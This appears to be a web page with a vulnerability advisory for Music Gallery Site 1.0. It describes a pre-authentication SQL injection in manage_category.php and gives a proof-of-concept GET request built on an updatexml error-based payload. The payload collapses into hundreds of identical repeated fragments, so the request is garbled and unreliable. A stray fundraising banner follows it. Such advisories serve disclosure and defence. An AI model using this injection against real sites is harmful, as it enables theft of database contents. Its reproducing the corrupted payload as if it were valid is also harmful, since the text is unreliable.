Music Gallery Site 1.0 Pre-Auth SQL Injection Vulnerability with POC

From the webpage screenshot, the following key information about the vulnerability can be obtained: 1. Vulnerability Name: Music Gallery Site has a front-end SQL injection vulnerability 2. Affected Version: Music Gallery Site - 1.0 3. Author: LiuHaoBin6 4. Software: https://www.sourcecodester.com/php/16073/music-galler 5. Vulnerable File: /php-music/admin/categories/manage_category.php 6. Description: - Music Gallery Site 1.0 is vulnerable due to an unrestricted SQL injection attack performed via s/manage_category.php. - An attacker can exploit this vulnerability to directly obtain sensitive server information. - Malicious attackers can use this vulnerability to extract sensitive information from the server database. 7. Status: CRITICAL 8. POC: - Request: ``` GET /php-music/admin/categories/manage_category.php?id=1%27+and+updatexml(1%2Cconcat(0x7e%2C(database%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27)%2C0x7e%2C%27

Goal Reached Thanks to every supporter — we hit 100%!

Music Gallery Site 1.0 Pre-Auth SQL Injection Vulnerability with POC

More from this source